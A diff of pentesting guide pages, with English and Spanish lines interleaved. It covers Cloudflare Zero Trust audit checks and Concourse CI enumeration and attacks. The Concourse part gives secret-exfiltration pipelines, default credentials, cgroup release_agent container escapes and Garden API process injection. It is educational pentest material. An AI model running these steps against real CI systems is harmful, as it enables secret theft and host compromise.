- [ ] Check the **available identity providers** and make sure they **aren't too open**
- [ ] In **`Settings`**:
- [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
- [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
- [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
- [ ] Verificar **quién** puede acceder a la aplicación en las **Policies** y asegurarse de que **solo** los **usuarios** que **necesitan acceso** a la aplicación puedan acceder.
- Para permitir el acceso se van a utilizar **`Access Groups`** (y se pueden establecer **reglas adicionales** también)
- [ ] Verificar los **proveedores de identidad disponibles** y asegurarse de que **no sean demasiado abiertos**
- [ ] En **`Settings`**:
- [ ] Verificar que **CORS no esté habilitado** (si está habilitado, verificar que sea **seguro** y que no esté permitiendo todo)
- [ ] Las cookies deben tener el atributo **Strict Same-Site**, **HTTP Only** y **binding cookie** debe estar **habilitado** si la aplicación es HTTP.
- [ ] Considerar habilitar también **Browser rendering** para mejor **protección. Más información sobre** [**remote browser isolation aquí**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
#### **Access Groups**
- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
- Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
- [ ] Verificar que los grupos de acceso generados estén **correctamente restringidos** a los usuarios que deberían permitir.
- [ ] Es especialmente importante verificar que el **grupo de acceso predeterminado no sea muy abierto** (no **esté permitiendo demasiada gente**) ya que por **defecto** cualquier persona en ese **grupo** podrá **acceder a las aplicaciones**.
- Tenga en cuenta que es posible dar **acceso** a **TODOS** y otras **políticas muy abiertas** que no se recomiendan a menos que sea 100% necesario.
#### Service Auth
- [ ] Check that all service tokens **expires in 1 year or less**
- [ ] Verificar que todos los tokens de servicio **expiren en 1 año o menos**
#### Tunnels
@@ -50,15 +50,12 @@ TODO
### Logs
- [ ] You could search for **unexpected actions** from users
- [ ] Podría buscar **acciones inesperadas** de los usuarios
### Settings
- [ ] Check the **plan type**
- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
- [ ] Verificar el **tipo de plan**
- [ ] Es posible ver el **nombre del propietario de la tarjeta de crédito**, **últimos 4 dígitos**, **fecha de expiración** y **dirección**
- [ ] Se recomienda **agregar una Expiración de Asiento de Usuario** para eliminar usuarios que realmente no utilizan este servicio
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,36 +1,33 @@
# Concourse Security
# Seguridad de Concourse
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Información Básica
Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
Concourse te permite **construir pipelines** para ejecutar automáticamente pruebas, acciones y construir imágenes siempre que lo necesites (basado en tiempo, cuando sucede algo...)
## Concourse Architecture
## Arquitectura de Concourse
Learn how the concourse environment is structured in:
Aprende cómo está estructurado el entorno de concourse en:
{{#ref}}
concourse-architecture.md
{{#endref}}
## Concourse Lab
## Laboratorio de Concourse
Learn how you can run a concourse environment locally to do your own tests in:
Aprende cómo puedes ejecutar un entorno de concourse localmente para hacer tus propias pruebas en:
{{#ref}}
concourse-lab-creation.md
{{#endref}}
## Enumerate & Attack Concourse
## Enumerar y Atacar Concourse
Learn how you can enumerate the concourse environment and abuse it in:
Aprende cómo puedes enumerar el entorno de concourse y abusar de él en:
{{#ref}}
concourse-enumeration-and-attacks.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,42 +1,38 @@
# Concourse Architecture
# Arquitectura de Concourse
{{#include ../../banners/hacktricks-training.md}}
## Concourse Architecture
## Arquitectura de Concourse
[**Datos relevantes de la documentación de Concourse:**](https://concourse-ci.org/internals.html)
[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
### Architecture
### Arquitectura
![](<../../images/image (187).png>)
#### ATC: web UI & build scheduler
#### ATC: interfaz web y programador de compilaciones
The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
El ATC es el corazón de Concourse. Ejecuta la **interfaz web y API** y es responsable de toda la **programación** de pipelines. Se **conecta a PostgreSQL**, que utiliza para almacenar datos de pipelines (incluidos los registros de compilación).
The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
La responsabilidad del [checker](https://concourse-ci.org/checker.html) es verificar continuamente si hay nuevas versiones de recursos. El [scheduler](https://concourse-ci.org/scheduler.html) es responsable de programar compilaciones para un trabajo y el [build tracker](https://concourse-ci.org/build-tracker.html) es responsable de ejecutar cualquier compilación programada. El [garbage collector](https://concourse-ci.org/garbage-collector.html) es el mecanismo de limpieza para eliminar cualquier objeto no utilizado o desactualizado, como contenedores y volúmenes.
#### TSA: worker registration & forwarding
#### TSA: registro de trabajadores y reenvío
The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
El TSA es un **servidor SSH construido a medida** que se utiliza exclusivamente para **registrar** de forma segura a los [**workers**](https://concourse-ci.org/internals.html#architecture-worker) con el [ATC](https://concourse-ci.org/internals.html#component-atc).
The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
El TSA por **defecto escucha en el puerto `2222`**, y generalmente se encuentra colocalizado con el [ATC](https://concourse-ci.org/internals.html#component-atc) y detrás de un balanceador de carga.
The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
El **TSA implementa CLI a través de la conexión SSH,** soportando [**estos comandos**](https://concourse-ci.org/internals.html#component-tsa).
#### Workers
In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
Para ejecutar tareas, Concourse debe tener algunos workers. Estos workers **se registran** a través del [TSA](https://concourse-ci.org/internals.html#component-tsa) y ejecutan los servicios [**Garden**](https://github.com/cloudfoundry-incubator/garden) y [**Baggageclaim**](https://github.com/concourse/baggageclaim).
- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
- **Garden**: Esta es la **API de Gestión de Contenedores**, generalmente se ejecuta en **el puerto 7777** a través de **HTTP**.
- **Baggageclaim**: Esta es la **API de Gestión de Volúmenes**, generalmente se ejecuta en **el puerto 7788** a través de **HTTP**.
## References
## Referencias
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,217 +4,204 @@
## Concourse Enumeration & Attacks
### User Roles & Permissions
Concourse comes with five roles:
Concourse viene con cinco roles:
- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
- **owner**: Team owners can **modify everything within the team**.
- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
- _Concourse_ **Admin**: Este rol solo se otorga a los propietarios del **equipo principal** (equipo inicial predeterminado de concourse). Los administradores pueden **configurar otros equipos** (por ejemplo: `fly set-team`, `fly destroy-team`...). Los permisos de este rol no pueden ser afectados por RBAC.
- **owner**: Los propietarios del equipo pueden **modificar todo dentro del equipo**.
- **member**: Los miembros del equipo pueden **leer y escribir** dentro de los **activos del equipo** pero no pueden modificar la configuración del equipo.
- **pipeline-operator**: Los operadores de pipeline pueden realizar **operaciones de pipeline** como activar compilaciones y fijar recursos, sin embargo, no pueden actualizar las configuraciones del pipeline.
- **viewer**: Los espectadores del equipo tienen acceso **"solo lectura" a un equipo** y sus pipelines.
> [!NOTE]
> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
> Además, los **permisos de los roles owner, member, pipeline-operator y viewer pueden ser modificados** configurando RBAC (configurando más específicamente sus acciones). Lee más sobre esto en: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
Ten en cuenta que Concourse **agrupa pipelines dentro de Equipos**. Por lo tanto, los usuarios que pertenecen a un Equipo podrán gestionar esos pipelines y **pueden existir varios Equipos**. Un usuario puede pertenecer a varios Equipos y tener diferentes permisos dentro de cada uno de ellos.
### Vars & Credential Manager
In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
En las configuraciones YAML puedes configurar valores usando la sintaxis `((_source-name_:_secret-path_._secret-field_))`.\
[De la documentación:](https://concourse-ci.org/vars.html#var-syntax) El **source-name es opcional**, y si se omite, se utilizará el [gestor de credenciales a nivel de clúster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), o el valor puede ser proporcionado [estáticamente](https://concourse-ci.org/vars.html#static-vars).\
El **campo \_secret-field**\_ opcional especifica un campo en el secreto obtenido para leer. Si se omite, el gestor de credenciales puede optar por leer un 'campo predeterminado' del secreto obtenido si el campo existe.\
Además, el _**secret-path**_ y _**secret-field**_ pueden estar rodeados por comillas dobles `"..."` si **contienen caracteres especiales** como `.` y `:`. Por ejemplo, `((source:"my.secret"."field:1"))` establecerá el _secret-path_ en `my.secret` y el _secret-field_ en `field:1`.
#### Static Vars
Static vars can be specified in **tasks steps**:
Las vars estáticas pueden ser especificadas en **pasos de tareas**:
```yaml
- task: unit-1.13
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
```
O utilizando los siguientes `fly` **argumentos**:
Or using the following `fly` **arguments**:
- `-v` o `--var` `NAME=VALUE` establece la cadena `VALUE` como el valor para la var `NAME`.
- `-y` o `--yaml-var` `NAME=VALUE` analiza `VALUE` como YAML y lo establece como el valor para la var `NAME`.
- `-i` o `--instance-var` `NAME=VALUE` analiza `VALUE` como YAML y lo establece como el valor para la var de instancia `NAME`. Consulta [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) para aprender más sobre las vars de instancia.
- `-l` o `--load-vars-from` `FILE` carga `FILE`, un documento YAML que contiene la asignación de nombres de var a valores, y los establece todos.
- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
#### Gestión de Credenciales
#### Credential Management
Hay diferentes formas en que un **Gestor de Credenciales puede ser especificado** en un pipeline, lee cómo en [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
Además, Concourse admite diferentes gestores de credenciales:
There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
Moreover, Concourse supports different credential managers:
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
- [Caching credentials](https://concourse-ci.org/creds-caching.html)
- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
- [El gestor de credenciales Vault](https://concourse-ci.org/vault-credential-manager.html)
- [El gestor de credenciales CredHub](https://concourse-ci.org/credhub-credential-manager.html)
- [El gestor de credenciales AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html)
- [El gestor de credenciales AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html)
- [Gestor de Credenciales de Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html)
- [El gestor de credenciales Conjur](https://concourse-ci.org/conjur-credential-manager.html)
- [Credenciales en caché](https://concourse-ci.org/creds-caching.html)
- [Redacción de credenciales](https://concourse-ci.org/creds-redacting.html)
- [Reintentando fetches fallidos](https://concourse-ci.org/creds-retry-logic.html)
> [!CAUTION]
> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
> Ten en cuenta que si tienes algún tipo de **acceso de escritura a Concourse** puedes crear trabajos para **exfiltrar esos secretos** ya que Concourse necesita poder acceder a ellos.
### Concourse Enumeration
### Enumeración de Concourse
In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
Para enumerar un entorno de concourse primero necesitas **reunir credenciales válidas** o encontrar un **token autenticado** probablemente en un archivo de configuración `.flyrc`.
#### Login and Current User enum
#### Inicio de sesión y enumeración de usuario actual
- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
- Get configured **targets**:
- `fly targets`
- Get if the configured **target connection** is still **valid**:
- `fly -t <target> status`
- Get **role** of the user against the indicated target:
- `fly -t <target> userinfo`
- Para iniciar sesión necesitas conocer el **endpoint**, el **nombre del equipo** (el predeterminado es `main`) y un **equipo al que pertenece el usuario**:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
- Obtener **targets** configurados:
- `fly targets`
- Verificar si la **conexión de target configurada** sigue siendo **válida**:
- `fly -t <target> status`
- Obtener el **rol** del usuario contra el target indicado:
- `fly -t <target> userinfo`
> [!NOTE]
> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
> Ten en cuenta que el **token de API** se **guarda** en `$HOME/.flyrc` por defecto, al saquear una máquina podrías encontrar allí las credenciales.
#### Teams & Users
#### Equipos y Usuarios
- Get a list of the Teams
- `fly -t <target> teams`
- Get roles inside team
- `fly -t <target> get-team -n <team-name>`
- Get a list of users
- `fly -t <target> active-users`
- Obtener una lista de los Equipos
- `fly -t <target> teams`
- Obtener roles dentro del equipo
- `fly -t <target> get-team -n <team-name>`
- Obtener una lista de usuarios
- `fly -t <target> active-users`
#### Pipelines
- **List** pipelines:
- `fly -t <target> pipelines -a`
- **Get** pipeline yaml (**sensitive information** might be found in the definition):
- `fly -t <target> get-pipeline -p <pipeline-name>`
- Get all pipeline **config declared vars**
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
- **Listar** pipelines:
- `fly -t <target> pipelines -a`
- **Obtener** yaml de pipeline (**información sensible** podría encontrarse en la definición):
- `fly -t <target> get-pipeline -p <pipeline-name>`
- Obtener todas las **vars declaradas en la configuración del pipeline**
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
- Obtener todos los **nombres de secretos de pipelines utilizados** (si puedes crear/modificar un trabajo o secuestrar un contenedor podrías exfiltrarlos):
```bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
```
#### Contenedores y Trabajadores
#### Containers & Workers
- Listar **trabajadores**:
- `fly -t <target> workers`
- Listar **contenedores**:
- `fly -t <target> containers`
- Listar **construcciones** (para ver qué está en ejecución):
- `fly -t <target> builds`
- List **workers**:
- `fly -t <target> workers`
- List **containers**:
- `fly -t <target> containers`
- List **builds** (to see what is running):
- `fly -t <target> builds`
### Ataques de Concourse
### Concourse Attacks
#### Credentials Brute-Force
#### Fuerza Bruta de Credenciales
- admin:admin
- test:test
#### Secrets and params enumeration
#### Enumeración de secretos y parámetros
In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
En la sección anterior vimos cómo puedes **obtener todos los nombres y variables de secretos** utilizados por el pipeline. Las **variables pueden contener información sensible** y el nombre de los **secretos será útil más adelante para intentar robarlos**.
#### Session inside running or recently run container
If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `<pipeline>/<job>` **container** using:
#### Sesión dentro de un contenedor en ejecución o recientemente ejecutado
Si tienes suficientes privilegios (**rol de miembro o más**) podrás **listar pipelines y roles** y simplemente obtener una **sesión dentro** del **contenedor** `<pipeline>/<job>` usando:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
```
Con estos permisos, podrías:
With these permissions you might be able to:
- **Robar los secretos** dentro del **contenedor**
- Intentar **escapar** al nodo
- Enumerar/Abusar del **punto final de metadatos de la nube** (desde el pod y desde el nodo, si es posible)
- **Steal the secrets** inside the **container**
- Try to **escape** to the node
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
#### Pipeline Creation/Modification
If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
#### Creación/Modificación de Pipeline
Si tienes suficientes privilegios (**rol de miembro o más**) podrás **crear/modificar nuevos pipelines.** Consulta este ejemplo:
```yaml
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
```
Con la **modificación/creación** de un nuevo pipeline podrás:
With the **modification/creation** of a new pipeline you will be able to:
- **Robar** los **secretos** (a través de su impresión o accediendo al contenedor y ejecutando `env`)
- **Escapar** al **nodo** (dándote suficientes privilegios - `privileged: true`)
- Enumerar/Abusar del **endpoint de metadatos de la nube** (desde el pod y desde el nodo)
- **Eliminar** el pipeline creado
- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
- **Delete** created pipeline
#### Execute Custom Task
This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
#### Ejecutar Tarea Personalizada
Esto es similar al método anterior, pero en lugar de modificar/crear un nuevo pipeline completo, puedes **simplemente ejecutar una tarea personalizada** (que probablemente será mucho más **sigilosa**):
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
SUPER_SECRET: ((super.secret))
```
```bash
fly -t tutorial execute --privileged --config task_config.yml
```
#### Escapando al nodo desde una tarea privilegiada
#### Escaping to the node from privileged task
In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
In the following PoC we are going to use the release_agent to escape with some small modifications:
En las secciones anteriores vimos cómo **ejecutar una tarea privilegiada con concourse**. Esto no le dará al contenedor exactamente el mismo acceso que la bandera privilegiada en un contenedor de docker. Por ejemplo, no verá el dispositivo del sistema de archivos del nodo en /dev, por lo que la escapatoria podría ser más "compleja".
En la siguiente PoC vamos a usar el release_agent para escapar con algunas pequeñas modificaciones:
```bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -272,14 +259,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
> [!WARNING]
> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
> Como habrás notado, esto es solo un [**escape de release_agent regular**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) solo modificando la ruta del cmd en el nodo
#### Escaping to the node from a Worker container
A regular release_agent escape with a minor modification is enough for this:
#### Escapando al nodo desde un contenedor Worker
Un escape de release_agent regular con una modificación menor es suficiente para esto:
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
@@ -306,13 +291,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
#### Escaping to the node from the Web container
#### Escapando al nodo desde el contenedor Web
Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
However, it stores **local credentials in clear text**:
```bash
cat /concourse-auth/local-users
test:test
@@ -321,11 +304,9 @@ env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
Puedes usar esas credenciales para **iniciar sesión en el servidor web** y **crear un contenedor privilegiado y escapar al nodo**.
You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
En el entorno también puedes encontrar información para **acceder a la instancia de postgresql** que utiliza concourse (dirección, **nombre de usuario**, **contraseña** y base de datos, entre otra información):
```bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
@@ -346,39 +327,35 @@ select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
```
#### Abusing Garden Service - Not a real Attack
#### Abusando del Servicio Garden - No es un Ataque Real
> [!WARNING]
> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
> Estas son solo algunas notas interesantes sobre el servicio, pero dado que solo está escuchando en localhost, estas notas no presentarán ningún impacto que no hayamos explotado antes.
By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
Por defecto, cada trabajador de concourse estará ejecutando un [**Garden**](https://github.com/cloudfoundry/garden) en el puerto 7777. Este servicio es utilizado por el maestro web para indicar al trabajador **lo que necesita ejecutar** (descargar la imagen y ejecutar cada tarea). Esto suena bastante bien para un atacante, pero hay algunas buenas protecciones:
- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
Concourse workers run with high container privileges:
- Está **expuesto localmente** (127..0.0.1) y creo que cuando el trabajador se autentica contra la web con el servicio SSH especial, se crea un túnel para que el servidor web pueda **hablar con cada servicio Garden** dentro de cada trabajador.
- El servidor web está **monitoreando los contenedores en ejecución cada pocos segundos**, y los contenedores **inesperados** son **eliminados**. Así que si quieres **ejecutar un contenedor personalizado** necesitas **interferir** con la **comunicación** entre el servidor web y el servicio garden.
Los trabajadores de Concourse se ejecutan con altos privilegios de contenedor:
```
Container Runtime: docker
Has Namespaces:
pid: true
user: false
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
Sin embargo, técnicas como **montar** el dispositivo /dev del nodo o release_agent **no funcionarán** (ya que el verdadero dispositivo con el sistema de archivos del nodo no es accesible, solo uno virtual). No podemos acceder a los procesos del nodo, por lo que escapar del nodo sin exploits de kernel se complica.
> [!NOTE]
> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
> En la sección anterior vimos cómo escapar de un contenedor privilegiado, así que si podemos **ejecutar** comandos en un **contenedor privilegiado** creado por el **trabajador** **actual**, podríamos **escapar al nodo**.
Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
**Getting inside a running privileged container**
Ten en cuenta que al jugar con concourse noté que cuando se genera un nuevo contenedor para ejecutar algo, los procesos del contenedor son accesibles desde el contenedor del trabajador, así que es como si un contenedor estuviera creando un nuevo contenedor dentro de él.
**Entrando en un contenedor privilegiado en ejecución**
```bash
# Get current container
curl 127.0.0.1:7777/containers
@@ -391,30 +368,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
```
**Creando un nuevo contenedor privilegiado**
**Creating a new privileged container**
You can very easily create a new container (just run a random UID) and execute something on it:
Puedes crear muy fácilmente un nuevo contenedor (solo ejecuta un UID aleatorio) y ejecutar algo en él:
```bash
curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
